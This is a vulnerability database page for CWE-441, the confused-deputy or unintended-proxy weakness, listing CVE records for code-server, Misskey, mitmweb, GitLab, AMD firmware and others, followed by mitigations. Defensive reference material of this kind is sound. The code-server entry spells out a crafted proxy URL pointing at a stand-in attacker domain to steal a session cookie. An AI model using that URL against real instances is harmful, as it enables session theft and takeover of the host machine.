Common Weakness Enumeration
CWE-441
Allowed-with-ReviewUnintended Proxy or Intermediary ('Confused Deputy')
Abstraction: Class · Status: Draft
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
155 vulnerabilities reference this CWE, most recent first.
CVE-2025-47269 (GCVE-0-2025-47269)
Vulnerability from cvelistv5 – Published: 2025-05-09 20:59 – Updated: 2025-05-10 01:45
VLAI
EPSS
VEX
Title
code-server session cookie can be extracted by having user visit specially crafted proxy URL
Summary
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
Severity
8.3 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/coder/code-server/security/adv… | x_refsource_CONFIRM |
| https://github.com/coder/code-server/commit/47d6d… | x_refsource_MISC |
| https://github.com/coder/code-server/releases/tag… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| coder | code-server |
Affected:
< 4.99.4
|
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CVE-2025-25306 (GCVE-0-2025-25306)
Vulnerability from cvelistv5 – Published: 2025-03-10 18:13 – Updated: 2025-03-12 19:49
VLAI
EPSS
VEX
Title
Misskey's Incomplete Patch of CVE-2024-52591 Leads to Forgery of Federated Notes
Summary
Misskey is an open source, federated social media platform. The patch for CVE-2024-52591 did not sufficiently validate the relation between the `id` and `url` fields of ActivityPub objects. An attacker can forge an object where they claim authority in the `url` field even if the specific ActivityPub object type require authority in the `id` field. Version 2025.2.1 addresses the issue.
Severity
9.3 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/misskey-dev/misskey/security/a… | x_refsource_CONFIRM |
| https://github.com/misskey-dev/misskey/releases/t… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| misskey-dev | misskey |
Affected:
< 2025.2.1
|
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CVE-2025-25061 (GCVE-0-2025-25061)
Vulnerability from cvelistv5 – Published: 2025-04-04 02:10 – Updated: 2025-04-04 14:21
VLAI
EPSS
VEX
Summary
Unintended proxy or intermediary ('Confused Deputy') issue exists in HMI ViewJet C-more series and HMI GC-A2 series, which may allow a remote unauthenticated attacker to use the product as an intermediary for FTP bounce attack.
Severity
5.8 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended proxy or intermediary ('Confused Deputy')
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| JTEKT ELECTRONICS CORPORATION | HMI ViewJet C-more series |
Affected:
All versions
|
|
| JTEKT ELECTRONICS CORPORATION | HMI GC-A2 series |
Affected:
All versions
|
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CVE-2025-23217 (GCVE-0-2025-23217)
Vulnerability from cvelistv5 – Published: 2025-02-06 17:32 – Updated: 2025-02-12 19:51
VLAI
EPSS
VEX
Title
Mitmweb API Authentication Bypass Using Proxy Server
Summary
mitmproxy is a interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers and mitmweb is a web-based interface for mitmproxy. In mitmweb 11.1.1 and below, a malicious client can use mitmweb's proxy server (bound to `*:8080` by default) to access mitmweb's internal API (bound to `127.0.0.1:8081` by default). In other words, while the cannot access the API directly, they can access the API through the proxy. An attacker may be able to escalate this SSRF-style access to remote code execution. The mitmproxy and mitmdump tools are unaffected. Only mitmweb is affected. This vulnerability has been fixed in mitmproxy 11.1.2 and above. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/mitmproxy/mitmproxy/security/a… | x_refsource_CONFIRM |
| https://en.wikipedia.org/wiki/Server-side_request… | x_refsource_MISC |
| https://github.com/mitmproxy/mitmproxy/blob/main/… | x_refsource_MISC |
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CVE-2025-11393 (GCVE-0-2025-11393)
Vulnerability from cvelistv5 – Published: 2025-12-15 17:03 – Updated: 2026-06-25 23:42
VLAI
EPSS
VEX
Title
Insights-runtimes-tech-preview/runtimes-inventory-rhel8-operator: improper proxy configuration allows unauthorized administrative commands
Summary
A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster's main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.
This allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster's configuration or status on the Red Hat platform.
Severity
8.7 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://access.redhat.com/errata/RHSA-2025:23236 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/security/cve/CVE-2025-11393 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2402032 | issue-trackingx_refsource_REDHAT |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Hat | Red Hat Lightspeed (formerly Insights) for Runtimes 1 |
Unaffected:
1.0.0-1765483112 , < *
(rpm)
cpe:/a:redhat:lightspeed_for_runtimes:1.0::el9 |
|
| Red Hat | Red Hat Runtimes Inventory Operator |
cpe:/a:redhat:insights-runtimes:1 |
Date Public
2025-12-15 00:00
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CVE-2024-34068 (GCVE-0-2024-34068)
Vulnerability from cvelistv5 – Published: 2024-05-03 17:34 – Updated: 2024-08-02 02:42
VLAI
EPSS
VEX
Title
Server-side Request Forgery during remote file pull in Pterodactyl wings
Summary
Pterodactyl wings is the server control plane for Pterodactyl Panel. An authenticated user who has access to a game server is able to bypass the previously implemented access control (GHSA-6rg3-8h8x-5xfv) that prevents accessing internal endpoints of the node hosting Wings in the pull endpoint. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible. This issue has been addressed in version 1.11.2 and users are advised to upgrade. Users unable to upgrade may enable the `api.disable_remote_download` option as a workaround.
Severity
6.4 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/pterodactyl/wings/security/adv… | x_refsource_CONFIRM |
| https://github.com/pterodactyl/wings/security/adv… | x_refsource_MISC |
| https://github.com/pterodactyl/wings/commit/c152e… | x_refsource_MISC |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| pterodactyl | wings |
Affected:
< 1.11.12
|
|
| pterodactyl | wings |
Affected:
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(custom)
cpe:2.3:a:pterodactyl:wings:-:*:*:*:*:*:*:* |
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CVE-2024-9870 (GCVE-0-2024-9870)
Vulnerability from cvelistv5 – Published: 2025-02-12 15:31 – Updated: 2025-02-12 15:59
VLAI
EPSS
VEX
Title
Unintended Proxy or Intermediary ('Confused Deputy') in GitLab
Summary
An external service interaction vulnerability in GitLab EE affecting all versions from 15.11 prior to 17.6.5, 17.7 prior to 17.7.4, and 17.8 prior to 17.8.2 allows an attacker to send requests from the GitLab server to unintended services.
Severity
4.3 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://gitlab.com/gitlab-org/gitlab/-/issues/498911 | issue-trackingpermissions-required |
| https://hackerone.com/reports/2734142 | technical-descriptionexploitpermissions-required |
Impacted products
Credits
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CVE-2023-33188 (GCVE-0-2023-33188)
Vulnerability from cvelistv5 – Published: 2023-05-27 03:47 – Updated: 2025-01-14 18:22
VLAI
EPSS
VEX
Title
Uncontrolled data used in content resolution
Summary
Omni-notes is an open source note-taking application for Android. The Omni-notes Android app had an insufficient path validation vulnerability when displaying the details of a note received through an externally-provided intent. The paths of the note's attachments were not properly validated, allowing malicious or compromised applications in the same device to force Omni-notes to copy files from its internal storage to its external storage directory, where they would have become accessible to any component with permission to read the external storage. Updating to the newest version (6.2.7) of Omni-notes Android fixes this vulnerability.
Severity
6.3 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/federicoiosue/Omni-Notes/secur… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| federicoiosue | Omni-Notes |
Affected:
< 6.2.7
|
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CVE-2023-31313 (GCVE-0-2023-31313)
Vulnerability from cvelistv5 – Published: 2026-02-12 14:16 – Updated: 2026-07-14 22:10
VLAI
EPSS
VEX
Summary
An unintended proxy or intermediary in the AMD power management firmware (PMFW) could allow a privileged attacker to send malformed messages to the system management unit (SMU) potentially resulting in arbitrary code execution.
Severity
7.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended Proxy or Intermediary (?Confused Deputy?) [METASWSPLAT-232]
Assigner
References
1 reference
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| AMD | AMD Instinct™ MI210 |
Unaffected:
ROCm 6.4.2
|
|
| AMD | AMD Instinct™ MI250 |
Unaffected:
ROCm 6.4.2
|
Date Public
2026-07-14 22:10
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CVE-2022-39361 (GCVE-0-2022-39361)
Vulnerability from cvelistv5 – Published: 2022-10-26 00:00 – Updated: 2025-04-23 16:42
VLAI
EPSS
VEX
Title
Metabase vulnerable to Remote Code Execution via H2
Summary
Metabase is data visualization software. Prior to versions 0.44.5, 1.44.5, 0.43.7, 1.43.7, 0.42.6, 1.42.6, 0.41.9, and 1.41.9, H2 (Sample Database) could allow Remote Code Execution (RCE), which can be abused by users able to write SQL queries on H2 databases. This issue is patched in versions 0.44.5, 1.44.5, 0.43.7, 1.43.7, 0.42.6, 1.42.6, 0.41.9, and 1.41.9. Metabase no longer allows DDL statements in H2 native queries.
Severity
8.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
Impacted products
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Mitigation
Architecture and Design
Enforce the use of strong mutual authentication mechanism between the two parties.
Mitigation
Architecture and Design
Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
CAPEC-219: XML Routing Detour Attacks
An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
CAPEC-465: Transparent Proxy Abuse
A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.